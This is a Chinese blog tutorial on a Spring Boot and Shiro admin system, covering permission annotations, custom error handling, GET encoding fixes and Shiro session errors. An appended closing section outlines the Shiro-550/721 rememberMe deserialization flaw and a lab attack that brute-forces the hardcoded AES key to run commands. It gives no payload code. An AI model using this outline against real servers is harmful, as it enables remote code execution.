后臺權(quán)限管理系統(tǒng)
相關(guān):
spring boot + mybatis + layui + shiro后臺權(quán)限管理系統(tǒng)
springboot + shiro之登錄人數(shù)限制、登錄判斷重定向、session時間設(shè)置
springboot + shiro 動態(tài)更新用戶信息
基于前篇,新增功能:
源碼已集成到項目中:
github源碼: https://github.com/wyait/manage.git
碼云:https://gitee.com/wyait/manage.git
github對應(yīng)項目源碼目錄:wyait-manage-1.2.0
碼云對應(yīng)項目源碼目錄:wyait-manage-1.2.0
shiro權(quán)限注解
Shiro 提供了相應(yīng)的注解用于權(quán)限控制,如果使用這些注解就需要使用AOP 的功能來進行判斷,如Spring AOP;Shiro 提供了Spring AOP 集成用于權(quán)限注解的解析和驗證。
@RequiresAuthentication 表示當(dāng)前Subject已經(jīng)通過login 進行了身份驗證;即Subject.isAuthenticated()返回true。 @RequiresUser 表示當(dāng)前Subject已經(jīng)身份驗證或者通過記住我登錄的。 @RequiresGuest 表示當(dāng)前Subject沒有身份驗證或通過記住我登錄過,即是游客身份。 @RequiresRoles(value={“admin”, “user”}, logical= Logical.AND) @RequiresRoles(value={“admin”}) @RequiresRoles({“admin“}) 表示當(dāng)前Subject需要角色admin 和user。 @RequiresPermissions (value={“user:a”, “user:b”}, logical= Logical.OR) 表示當(dāng)前Subject需要權(quán)限user:a或user:b。
Shiro的認證注解處理是有內(nèi)定的處理順序的,如果有多個注解的話,前面的通過了會繼續(xù)檢查后面的,若不通過則直接返回,處理順序依次為(與實際聲明順序無關(guān)):
RequiresRoles RequiresPermissions RequiresAuthentication RequiresUser RequiresGuest
以上注解既可以用在controller中,也可以用在service中使用;
建議將shiro注解放在controller中,因為如果service層使用了spring的事物注解,那么shiro注解將無效。
shiro權(quán)限注解要生效,必須配置springAOP通過設(shè)置shiro的SecurityManager進行權(quán)限驗證。
/** * * @描述:開啟Shiro的注解(如@RequiresRoles,@RequiresPermissions),需借助SpringAOP掃描使用Shiro注解的類,并在必要時進行安全邏輯驗證 * 配置以下兩個bean(DefaultAdvisorAutoProxyCreator和AuthorizationAttributeSourceAdvisor)即可實現(xiàn)此功能 * </br>Enable Shiro Annotations for Spring-configured beans. Only run after the lifecycleBeanProcessor(保證實現(xiàn)了Shiro內(nèi)部lifecycle函數(shù)的bean執(zhí)行) has run * </br>不使用注解的話,可以注釋掉這兩個配置 * @創(chuàng)建人:wyait * @創(chuàng)建時間:2018年5月21日 下午6:07:56 * @return */ @Bean public DefaultAdvisorAutoProxyCreator advisorAutoProxyCreator() { DefaultAdvisorAutoProxyCreator advisorAutoProxyCreator = new DefaultAdvisorAutoProxyCreator(); advisorAutoProxyCreator.setProxyTargetClass(true); return advisorAutoProxyCreator; } @Bean public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor() { AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor = new AuthorizationAttributeSourceAdvisor(); authorizationAttributeSourceAdvisor.setSecurityManager(securityManager()); return authorizationAttributeSourceAdvisor; }
場景:當(dāng)用戶正常訪問網(wǎng)站時,因為某種原因后端出現(xiàn)exception的時候,直接暴露異常信息或頁面顯示給用戶;
這種操作體驗不是我們想要的。所以要對異常進行統(tǒng)一管理,能提高用戶體驗的同時,后臺能詳細定位到異常的問題點。
springboot異常概況
Spring Boot提供了默認的統(tǒng)一錯誤頁面,這是Spring MVC沒有提供的。在理解了Spring Boot提供的錯誤處理相關(guān)內(nèi)容之后,我們可以方便的定義自己的錯誤返回的格式和內(nèi)容。
編寫by zero異常
在home頁面,手動創(chuàng)建兩個異常:普通異常和異步異常!
<p> 普通請求異常: <a href="/error/getError">點擊</a> </p> <p> ajax異步請求異常: <a href="javascript:void(0)" onclick="ajaxError()">點擊</a> </p> ... //js代碼 function ajaxError(){ $.get("/error/ajaxError",function(data){ layer.alert(data); }); }
/** * * @描述:普通請求異常 * @創(chuàng)建人:wyait * @創(chuàng)建時間:2018年5月24日 下午5:30:50 */ @RequestMapping("getError") public void toError(){ System.out.println(1/0); } /** * * @描述:異步異常 * @創(chuàng)建人:wyait * @創(chuàng)建時間:2018年5月24日 下午5:30:39 */ @RequestMapping("ajaxError") @ResponseBody public String ajaxError(){ System.out.println(1/0); return "異步請求成功!"; }
異常效果
console錯誤信息:
[2018-05-25 09:30:04.669][http-nio-8077-exec-8][ERROR][org.apache.juli.logging.DirectJDKLog][181]:Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.ArithmeticException: / by zero] with root cause java.lang.ArithmeticException: / by zero at com.wyait.manage.web.error.IndexErrorController.toError(IndexErrorController.java:18) ~[classes/:?] ... at java.lang.Thread.run(Thread.java:748) [?:1.8.0_131] ... [2018-05-25 09:30:04.676][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.handler.AbstractHandlerMethodMapping][317]:Returning handler method [public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)] [2018-05-25 09:30:04.676][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.handler.AbstractHandlerMethodMapping][317]:Returning handler method [public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)] [2018-05-25 09:30:04.676][http-nio-8077-exec-8][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'basicErrorController' [2018-05-25 09:30:04.676][http-nio-8077-exec-8][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'basicErrorController' ... [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.view.ContentNegotiatingViewResolver][263]:Requested media types are [text/html, text/html;q=0.8] based on Accept header types and producible media types [text/html]) [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.view.ContentNegotiatingViewResolver][263]:Requested media types are [text/html, text/html;q=0.8] based on Accept header types and producible media types [text/html]) [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'error' [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'error' [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.view.ContentNegotiatingViewResolver][338]:Returning [org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView@6ffd99fb] based on requested media type 'text/html' [2018-05-25 09:30:04.686][http-nio-8077-exec-8][DEBUG][org.springframework.web.servlet.view.ContentNegotiatingViewResolver][338]:Returning [org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView@6ffd99fb] based on requested media type 'text/html' ...
通過日志可知,springboot返回的錯誤頁面,是通過:org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml處理返回ModelAndView。
[2018-05-25 09:31:19.958][http-nio-8077-exec-6][ERROR][org.apache.juli.logging.DirectJDKLog][181]:Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.ArithmeticException: / by zero] with root cause java.lang.ArithmeticException: / by zero at com.wyait.manage.web.error.IndexErrorController.ajaxError(IndexErrorController.java:29) ~[classes/:?] ... at java.lang.Thread.run(Thread.java:748) [?:1.8.0_131] ... [2018-05-25 09:31:19.960][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.handler.AbstractHandlerMethodMapping][317]:Returning handler method [public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)] [2018-05-25 09:31:19.960][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.handler.AbstractHandlerMethodMapping][317]:Returning handler method [public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)] [2018-05-25 09:31:19.960][http-nio-8077-exec-6][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'basicErrorController' [2018-05-25 09:31:19.960][http-nio-8077-exec-6][DEBUG][org.springframework.beans.factory.support.AbstractBeanFactory][251]:Returning cached instance of singleton bean 'basicErrorController' ... [2018-05-25 09:31:19.961][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor][234]:Written [{timestamp=Fri May 25 09:31:19 CST 2018, status=500, error=Internal Server Error, exception=java.lang.ArithmeticException, message=/ by zero, path=/error/ajaxError}] as "application/json" using [org.springframework.http.converter.json.MappingJackson2HttpMessageConverter@2729eae5] [2018-05-25 09:31:19.961][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor][234]:Written [{timestamp=Fri May 25 09:31:19 CST 2018, status=500, error=Internal Server Error, exception=java.lang.ArithmeticException, message=/ by zero, path=/error/ajaxError}] as "application/json" using [org.springframework.http.converter.json.MappingJackson2HttpMessageConverter@2729eae5] [2018-05-25 09:31:19.961][http-nio-8077-exec-6][DEBUG][org.springframework.web.servlet.DispatcherServlet][1048]:Null ModelAndView returned to DispatcherServlet with name 'dispatcherServlet': assuming HandlerAdapter completed request handling ...
通過日志可知,springboot返回的錯誤信息,是通過:org.springframework.boot.autoconfigure.web.BasicErrorController.error處理返回ResponseEntity<String,Object>。
springboot異常處理解析
查看org.springframework.boot.autoconfigure.web包下面的類,跟蹤springboot對error異常處理機制。自動配置通過一個MVC error控制器處理錯誤
通過spring-boot-autoconfigure引入
查看springboot 處理error的類
springboot的自動配置,在web中處理error相關(guān)的自動配置類:ErrorMvcAutoConfiguration。查看與處理error相關(guān)的類:
ErrorAutoConfiguration類源碼//TODO
ErrorAutoConfiguration注冊的bean
//4個BEAN @Bean @ConditionalOnMissingBean(value = ErrorAttributes.class, search = SearchStrategy.CURRENT) public DefaultErrorAttributes errorAttributes() { return new DefaultErrorAttributes(); } @Bean @ConditionalOnMissingBean(value = ErrorController.class, search = SearchStrategy.CURRENT) public BasicErrorController basicErrorController(ErrorAttributes errorAttributes) { return new BasicErrorController(errorAttributes, this.serverProperties.getError(), this.errorViewResolvers); } @Bean public ErrorPageCustomizer errorPageCustomizer() { return new ErrorPageCustomizer(this.serverProperties); } @Bean public static PreserveErrorControllerTargetClassPostProcessor preserveErrorControllerTargetClassPostProcessor() { return new PreserveErrorControllerTargetClassPostProcessor(); }
@Order(Ordered.HIGHEST_PRECEDENCE) public class DefaultErrorAttributes implements ErrorAttributes, HandlerExceptionResolver, Ordered { ... }
ErrorAttributes:
public interface ErrorAttributes { Map<String, Object> getErrorAttributes(RequestAttributes requestAttributes, boolean includeStackTrace); Throwable getError(RequestAttributes requestAttributes); }
HandlerExceptionResolver:
public interface HandlerExceptionResolver { /** * Try to resolve the given exception that got thrown during handler execution, * returning a {@link ModelAndView} that represents a specific error page if appropriate. */ ModelAndView resolveException( HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex); }
DefaultErrorAttributes類:
debug跟蹤源碼:即DispatcherServlet在doDispatch過程中有異常拋出時:
一. 先由HandlerExceptionResolver.resolveException解析異常并保存在request中;
二. 再DefaultErrorAttributes.getErrorAttributes處理;DefaultErrorAttributes在處理過程中,從request中獲取錯誤信息,將錯誤信息保存到RequestAttributes中;
三. 最后在獲取錯誤信息getError(RequestAttributes)時,從RequestAttributes中取到錯誤信息。
@Controller @RequestMapping("${server.error.path:${error.path:/error}}") public class BasicErrorController extends AbstractErrorController { private final ErrorProperties errorProperties; ... @RequestMapping(produces = "text/html") public ModelAndView errorHtml(HttpServletRequest request, HttpServletResponse response) { HttpStatus status = getStatus(request); Map<String, Object> model = Collections.unmodifiableMap(getErrorAttributes( request, isIncludeStackTrace(request, MediaType.TEXT_HTML))); response.setStatus(status.value()); ModelAndView modelAndView = resolveErrorView(request, response, status, model); return (modelAndView == null ? new ModelAndView("error", model) : modelAndView); } @RequestMapping @ResponseBody public ResponseEntity<Map<String, Object>> error(HttpServletRequest request) { Map<String, Object> body = getErrorAttributes(request, isIncludeStackTrace(request, MediaType.ALL)); HttpStatus status = getStatus(request); return new ResponseEntity<Map<String, Object>>(body, status); } ... }
resolveErrorView方法(查找=error/“錯誤狀態(tài)碼”;的資源):
如果不是異常請求,會執(zhí)行resolveErrorView方法;該方法會先在默認或配置的靜態(tài)資源路徑下查找error/HttpStatus(錯誤狀態(tài)碼)的資源文件,如果沒有;使用默認的error頁面。
public class DefaultErrorViewResolver implements ErrorViewResolver, Ordered { ... @Override public ModelAndView resolveErrorView(HttpServletRequest request, HttpStatus status, Map<String, Object> model) { //status:異常錯誤狀態(tài)碼 ModelAndView modelAndView = resolve(String.valueOf(status), model); if (modelAndView == null && SERIES_VIEWS.containsKey(status.series())) { modelAndView = resolve(SERIES_VIEWS.get(status.series()), model); } return modelAndView; } private ModelAndView resolve(String viewName, Map<String, Object> model) { //視圖名稱,默認是error/+“status”錯誤狀態(tài)碼;比如:error/500、error/404 String errorViewName = "error/" + viewName; TemplateAvailabilityProvider provider = this.templateAvailabilityProviders .getProvider(errorViewName, this.applicationContext); if (provider != null) { return new ModelAndView(errorViewName, model); } return resolveResource(errorViewName, model); } //在資源文件中查找error/500或error/404等頁面 private ModelAndView resolveResource(String viewName, Map<String, Object> model) { for (String location : this.resourceProperties.getStaticLocations()) { try { Resource resource = this.applicationContext.getResource(location); resource = resource.createRelative(viewName + ".html"); if (resource.exists()) { return new ModelAndView(new HtmlResourceView(resource), model); } } catch (Exception ex) { } } return null; } ... }
BasicErrorController根據(jù)Accept頭的內(nèi)容,輸出不同格式的錯誤響應(yīng)。比如針對瀏覽器的請求生成html頁面,針對其它請求生成json格式的返回。
可以通過配置error/HttpStatus頁面實現(xiàn)自定義錯誤頁面。
/** * {@link EmbeddedServletContainerCustomizer} that configures the container's error * pages. */ private static class ErrorPageCustomizer implements ErrorPageRegistrar, Ordered { private final ServerProperties properties; protected ErrorPageCustomizer(ServerProperties properties) { this.properties = properties; } @Override public void registerErrorPages(ErrorPageRegistry errorPageRegistry) { ErrorPage errorPage = new ErrorPage(this.properties.getServletPrefix() + this.properties.getError().getPath()); errorPageRegistry.addErrorPages(errorPage); } @Override public int getOrder() { return 0; } }
將錯誤頁面注冊到內(nèi)嵌的tomcat的servlet容器中。
ErrorAutoConfiguration內(nèi)的兩個配置
//2個config配置 @Configuration static class DefaultErrorViewResolverConfiguration { private final ApplicationContext applicationContext; private final ResourceProperties resourceProperties; DefaultErrorViewResolverConfiguration(ApplicationContext applicationContext, ResourceProperties resourceProperties) { this.applicationContext = applicationContext; this.resourceProperties = resourceProperties; } @Bean @ConditionalOnBean(DispatcherServlet.class) @ConditionalOnMissingBean public DefaultErrorViewResolver conventionErrorViewResolver() { return new DefaultErrorViewResolver(this.applicationContext, this.resourceProperties); } } @Configuration @ConditionalOnProperty(prefix = "server.error.whitelabel", name = "enabled", matchIfMissing = true) @Conditional(ErrorTemplateMissingCondition.class) protected static class WhitelabelErrorViewConfiguration { private final SpelView defaultErrorView = new SpelView( "<html><body><h1>Whitelabel Error Page</h1>" + "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>" + "<div id='created'>${timestamp}</div>" + "<div>There was an unexpected error (type=${error}, status=${status}).</div>" + "<div>${message}</div></body></html>"); @Bean(name = "error") @ConditionalOnMissingBean(name = "error") public View defaultErrorView() { return this.defaultErrorView; } // If the user adds @EnableWebMvc then the bean name view resolver from // WebMvcAutoConfiguration disappears, so add it back in to avoid disappointment. @Bean @ConditionalOnMissingBean(BeanNameViewResolver.class) public BeanNameViewResolver beanNameViewResolver() { BeanNameViewResolver resolver = new BeanNameViewResolver(); resolver.setOrder(Ordered.LOWEST_PRECEDENCE - 10); return resolver; } }
如果Spring MVC在處理業(yè)務(wù)的過程中拋出異常,會被 Servlet 容器捕捉到,Servlet 容器再將請求轉(zhuǎn)發(fā)給注冊好的異常處理映射 /error 做響應(yīng)處理。
springboot配置文件默認error相關(guān)配置
springboot配置文件application.properties中關(guān)于error默認配置:
server.error.include-stacktrace=never # When to include a "stacktrace" attribute. server.error.path=/error # Path of the error controller. server.error.whitelabel.enabled=true # Enable the default error page displayed in browsers in case of a server error.
springboot 自定義異常處理
通過跟蹤springboot對異常處理得源碼跟蹤,根據(jù)業(yè)務(wù)需要,可以細分前端響應(yīng)的錯誤頁面,也可以統(tǒng)一使用/error頁面+錯誤提示信息進行處理。
根據(jù)自己的需求自定義異常處理機制;具體可實施的操作如下:
1和2的方法可單獨使用,也可以結(jié)合使用。
自定義異常頁面
可以根據(jù)不同的錯誤狀態(tài)碼,在前端細分不同的響應(yīng)界面給用戶進行提示;資源路徑必須是:靜態(tài)資源路徑下/error/HttpStats(比如:/error/404等)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"></meta> <title>404友情提示</title> </head> <body> <h1>訪問的資源未找到(404)</h1> </body> </html>
404.html
500.html等,這里只演示404。
統(tǒng)一異常處理
普通請求,前端使用error頁面+自定義錯誤響應(yīng)信息;
其他請求(異步),統(tǒng)一自定義錯誤響應(yīng)信息,規(guī)范處理異步響應(yīng)的錯誤判斷和處理。
使用springMVC注解ControllerAdvice
/** * * @項目名稱:wyait-manage * @類名稱:GlobalExceptionHandler * @類描述:統(tǒng)一異常處理,包括【普通調(diào)用和ajax調(diào)用】 * </br>ControllerAdvice來做controller內(nèi)部的全局異常處理,但對于未進入controller前的異常,該處理方法是無法進行捕獲處理的,SpringBoot提供了ErrorController的處理類來處理所有的異常(TODO)。 * </br>1.當(dāng)普通調(diào)用時,跳轉(zhuǎn)到自定義的錯誤頁面;2.當(dāng)ajax調(diào)用時,可返回約定的json數(shù)據(jù)對象,方便頁面統(tǒng)一處理。 * @創(chuàng)建人:wyait * @創(chuàng)建時間:2018年5月22日 上午11:44:55 * @version: */ @ControllerAdvice public class GlobalExceptionHandler { private static final Logger logger = LoggerFactory .getLogger(GlobalExceptionHandler.class); public static final String DEFAULT_ERROR_VIEW = "error"; /** * * @描述:針對普通請求和ajax異步請求的異常進行處理 * @創(chuàng)建人:wyait * @創(chuàng)建時間:2018年5月22日 下午4:48:58 * @param req * @param e * @return * @throws Exception */ @ExceptionHandler(value = Exception.class) @ResponseBody public ModelAndView errorHandler(HttpServletRequest request, HttpServletResponse response, Exception e) { logger.debug(getClass().getName() + ".errorHandler】統(tǒng)一異常處理:request="+request); ModelAndView mv=new ModelAndView(); logger.info(getClass().getName() + ".errorHandler】統(tǒng)一異常處理:"+e.getMessage()); //1 獲取錯誤狀態(tài)碼 HttpStatus httpStatus=getStatus(request); logger.info(getClass().getName() + ".errorHandler】統(tǒng)一異常處理!錯誤狀態(tài)碼httpStatus:"+httpStatus); //2 返回錯誤提示 ExceptionEnum ee=getMessage(httpStatus); //3 將錯誤信息放入mv中 mv.addObject("type", ee.getType()); mv.addObject("code", ee.getCode()); mv.addObject("msg", ee.getMsg()); if(!ShiroFilterUtils.isAjax(request)){ //不是異步請求 mv.setViewName(DEFAULT_ERROR_VIEW); logger.debug(getClass().getName() + ".errorHandler】統(tǒng)一異常處理:普通請求。"); } logger.debug(getClass().getName() + ".errorHandler】統(tǒng)一異常處理響應(yīng)結(jié)果:MV="+mv); return mv; } ... }
運行測試:先走GlobalExceptionHandler(使用注解@ControllerAdvice)類里面的方法,而后又執(zhí)行了BasicErrorController方法;被springboot自帶的BasicErrorController覆蓋。
實現(xiàn)springboot的AbstractErrorController
自定義實現(xiàn)AbstractErrorController,添加響應(yīng)的錯誤提示信息。
@RequestMapping(produces = "text/html") public ModelAndView errorHtml(HttpServletRequest request, HttpServletResponse response) { ModelAndView mv = new ModelAndView(ERROR_PATH); /** model對象包含了異常信息 */ Map<String, Object> model = getErrorAttributes(request, isIncludeStackTrace(request, MediaType.TEXT_HTML)); // 1 獲取錯誤狀態(tài)碼(也可以根據(jù)異常對象返回對應(yīng)的錯誤信息) HttpStatus httpStatus = getStatus(request); // 2 返回錯誤提示 ExceptionEnum ee = getMessage(httpStatus); Result<String> result = new Result<String>( String.valueOf(ee.getType()), ee.getCode(), ee.getMsg()); // 3 將錯誤信息放入mv中 mv.addObject("result", result); logger.info("統(tǒng)一異常處理【" + getClass().getName() + ".errorHtml】統(tǒng)一異常處理!錯誤信息mv:" + mv); return mv; } @RequestMapping @ResponseBody //設(shè)置響應(yīng)狀態(tài)碼為:200,結(jié)合前端約定的規(guī)范處理。也可不設(shè)置狀態(tài)碼,前端ajax調(diào)用使用error函數(shù)進行控制處理 @ResponseStatus(value=HttpStatus.OK) public Result<String> error(HttpServletRequest request, Exception e) { /** model對象包含了異常信息 */ Map<String, Object> model = getErrorAttributes(request, isIncludeStackTrace(request, MediaType.TEXT_HTML)); // 1 獲取錯誤狀態(tài)碼(也可以根據(jù)異常對象返回對應(yīng)的錯誤信息) HttpStatus httpStatus = getStatus(request); // 2 返回錯誤提示 ExceptionEnum ee = getMessage(httpStatus); Result<String> result = new Result<String>( String.valueOf(ee.getType()), ee.getCode(), ee.getMsg()); // 3 將錯誤信息返回 // ResponseEntity logger.info("統(tǒng)一異常處理【" + getClass().getName() + ".error】統(tǒng)一異常處理!錯誤信息result:" + result); return result; }
針對異步請求,統(tǒng)一指定響應(yīng)狀態(tài)碼:200;也可以不指定,前端在處理異步請求的時候,可以通過ajax的error函數(shù)進行控制。
這里是繼承的AbstractErrorController類,自定義實現(xiàn)統(tǒng)一異常處理,也可以直接實現(xiàn)ErrorController接口。
前端ajax異步統(tǒng)一處理:
通過約定,前端ajax異步請求,進行統(tǒng)一的錯誤處理。
/** * 針對不同的錯誤可結(jié)合業(yè)務(wù)自定義處理方式 * @param result * @returns {Boolean} */ function isError(result){ var flag=true; if(result && result.status){ flag=false; if(result.status == '-1' || result.status=='-101' || result.status=='400' || result.status=='404' || result.status=='500'){ layer.alert(result.data); }else if(result.status=='403'){ layer.alert(result.data,function(){ //跳轉(zhuǎn)到未授權(quán)界面 window.location.href="/403"; }); } } return flag;//返回true }
使用方式:
... success:function(data){ //異常過濾處理 if(isError(data)){ alert(data); } }, ...
error.html頁面:
<!DOCTYPE html> <html lang="en" xmlns:th="http://www.thymeleaf.org"> <head th:include="layout :: htmlhead" th:with="title='wyait后臺管理'"> <meta charset="UTF-8"></meta> <title th:text="${result.status}"></title> </head> <body> <h1>出錯了</h1> <p><span th:text="${result.message}"></span>(<span th:text="${result.data}"></span>)</p> </body> </html>
測試效果
普通請求:
異步請求:
線上get請求亂碼
問題描述
前臺通過html頁面,發(fā)送請求到后臺查詢數(shù)據(jù),在日志中打印的sql語句顯示傳入的參數(shù)亂碼:
SELECT ... [2018-05-11 09:15:00.582][http-bio-8280-exec-2][DEBUG][org.apache.ibatis.logging.jdbc.BaseJdbcLogger][159]:==> Parameters: 1(Integer), ???è′o(String) [2018-05-11 09:15:00.585][http-bio-8280-exec-2][DEBUG][org.apache.ibatis.logging.jdbc.BaseJdbcLogger][159]:<== Total: 1 ...
本地windows開發(fā)環(huán)境測試沒有亂碼問題;
請求信息
前端頁面發(fā)送get請求,瀏覽器默認對get請求路徑進行URL編碼處理。
后臺Controller打印的日志
分頁查詢用戶列表!搜索條件:userSearch:UserSearchDTO{page=1, limit=10, uname='??????', umobile='', insertTimeStart='', insertTimeEnd=''},page:1,每頁記錄數(shù)量limit:10,請求編碼:UTF-8
Controller層在接收到這個uname參數(shù)時,已經(jīng)是亂碼,ISO-8859-1解碼后的結(jié)果。
請求參數(shù)編碼流程
具體編碼細節(jié):TODO
解決方案
項目編碼配置【可以不配置】
開發(fā)前,默認必須統(tǒng)一編碼環(huán)境;正常都是設(shè)置為utf-8。
spring boot 與spring mvc不同,在web應(yīng)用中,spring boot默認的編碼格式為UTF-8,而spring mvc的默認編碼格式為iso-8859-1。
spring boot項目中如果沒有特殊需求,該編碼不需要修改。如果要強制其他編碼格式,spring boot提供了設(shè)置方式:
# 默認utf-8配置 spring.http.encoding.force=true spring.http.encoding.charset=UTF-8 spring.http.encoding.enabled=true server.tomcat.uri-encoding=UTF-8
此時攔截器中返回的中文已經(jīng)不亂碼了,但是controller中返回的數(shù)據(jù)可能會依舊亂碼。
@Bean public HttpMessageConverter<String> responseBodyConverter() { StringHttpMessageConverter converter = new StringHttpMessageConverter(Charset.forName("UTF-8")); return converter; } @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { super.configureMessageConverters(converters); converters.add(responseBodyConverter()); }
也可以在controller方法@RequestMapping上添加:
produces="text/plain;charset=UTF-8"
這種方法的弊端是限定了數(shù)據(jù)類型。
亂碼解決方案
表單采用get方式提交,中文亂碼解決方案:
param = new String(param.getBytes("iso8859-1"), "utf-8");
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
在這里添加一個屬性:URIEncoding,將該屬性值設(shè)置為UTF-8,即可讓Tomcat(默認ISO-8859-1編碼)以UTF-8的編碼處理get請求。
修改完成后:
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" URIEncoding="UTF-8" />
//js代碼 param = encodeURI(param); // alert("第一次URL編碼:" + param); param = encodeURI(param); // alert("第二次URL編碼:" + param);
后臺代碼:
//兩次解碼 URLDecoder.decode(URLDecoder.decode(param,"utf-8"),"utf-8");
以上四種解決方案,可結(jié)合具體情況進行使用。
no session異常
異常日志1:
[2018-05-21 18:00:51.574][http-nio-8280-exec-6][DEBUG][org.apache.shiro.web.servlet.SimpleCookie][389]:Found 'SHRIOSESSIONID' cookie value [fc6b7b64-6c59-4f82-853b-e2ca20135b99] [2018-05-21 18:00:51.575][http-nio-8280-exec-6][DEBUG][org.apache.shiro.mgt.DefaultSecurityManager][447]:Resolved SubjectContext context session is invalid. Ignoring and creating an anonymous (session-less) Subject instance. org.apache.shiro.session.UnknownSessionException: There is no session with id [fc6b7b64-6c59-4f82-853b-e2ca20135b99] at org.apache.shiro.session.mgt.eis.AbstractSessionDAO.readSession(AbstractSessionDAO.java:170) ~[shiro-all-1.3.1.jar:1.3.1]
異常日志2【偶爾出現(xiàn)】:
Caused by: javax.crypto.BadPaddingException: Given final block not properly padded at com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:811) ~[sunjce_provider.jar:1.7.0_85]
UnknownSessionException
UnknownSessionException: There is no session with id [...]
原因
結(jié)合項目配置,分析問題原因:
1,用戶退出后,瀏覽器中的SHIROSESSIONID依然存在;
2,再次發(fā)送請求時,攜帶SHIROSESSIONID,會在shiro的DefaultWebSecurityManager.getSessionKey(context)中,逐層跟蹤對應(yīng)在sessionManager中session值,沒有的話,最終在AbstractSessionDAO.readSession(sessionID)中拋出異常。
解決方案
//刪除cookie Cookie co = new Cookie("username", ""); co.setMaxAge(0);// 設(shè)置立即過期 co.setPath("/");// 根目錄,整個網(wǎng)站有效 servletResponse.addCookie(co);
@Bean public SimpleCookie sessionIdCookie() { //DefaultSecurityManager SimpleCookie simpleCookie = new SimpleCookie(); //如果在Cookie中設(shè)置了"HttpOnly"屬性,那么通過程序(JS腳本、Applet等)將無法讀取到Cookie信息,這樣能防止XSS×××。 simpleCookie.setHttpOnly(true); simpleCookie.setName("SHRIOSESSIONID"); simpleCookie.setMaxAge(86400000*3); return simpleCookie; }
源碼
源碼已集成到項目中:
github源碼: https://github.com/wyait/manage.git
碼云:https://gitee.com/wyait/manage.git
github對應(yīng)項目源碼目錄:wyait-manage-1.2.0
碼云對應(yīng)項目源碼目錄:wyait-manage-1.2.0
轉(zhuǎn)載:https://blog.51cto.com/wyait/2125708
作者:wyait
shiro-550主要是由shiro的rememberMe內(nèi)容反序列化導(dǎo)致的命令執(zhí)行漏洞,造成的原因是默認加密密鑰是硬編碼在shiro源碼中,任何有權(quán)訪問源代碼的人都可以知道默認加密密鑰。于是攻擊者可以創(chuàng)建一個惡意對象,對其進行序列化、編碼,然后將其作為cookie的rememberMe字段內(nèi)容發(fā)送,Shiro 將對其解碼和反序列化,導(dǎo)致服務(wù)器運行一些惡意代碼。
? 特征:cookie中含有rememberMe字段
? 修復(fù)建議:
? Apache Shiro 是一個強大易用的 Java 安全框架,提供了認證、授權(quán)、加密和會話管理等功能,對于任何一個應(yīng)用程序,Shiro 都可以提供全面的安全管理服務(wù)。
? 在Apache Shiro<=1.2.4版本中AES加密時采用的key是硬編碼在代碼中的,于是我們就可以構(gòu)造RememberMe的值,然后讓其反序列化執(zhí)行。
Primary Cocnerns(基本關(guān)注點):
Supporting Features(輔助特性):
AES加密的密鑰Key被硬編碼在代碼里
攻擊機IP:192.168.0.109
靶機IP:192.168.72.128
1、訪問靶機
存在Remember me選項,嘗試抓包
2、漏洞利用
Github上工具很多,我們隨便拿一款來進行驗證
爆破密鑰成功后,即可執(zhí)行命令
Shiro550和Shiro721的區(qū)別是什么
Shiro550只需要通過碰撞key,爆破出來密鑰,就可以進行利用
Shiro721的ase加密的key一般情況下猜不到,是系統(tǒng)隨機生成的,并且當(dāng)存在有效的用戶信息時才會進入下一階段的流程所以我們需要使用登錄后的rememberMe Cookie,才可以進行下一步攻擊
? 在Shiro721中,Shiro通過AES-128-CBC對cookie中的rememberMe字段進行加密,所以用戶可以通過Padding Oracle加密生成的攻擊代碼來構(gòu)造惡意的rememberMe字段,進行反序列化攻擊,需要執(zhí)行的命令越復(fù)雜,生成payload需要的時間就越長。
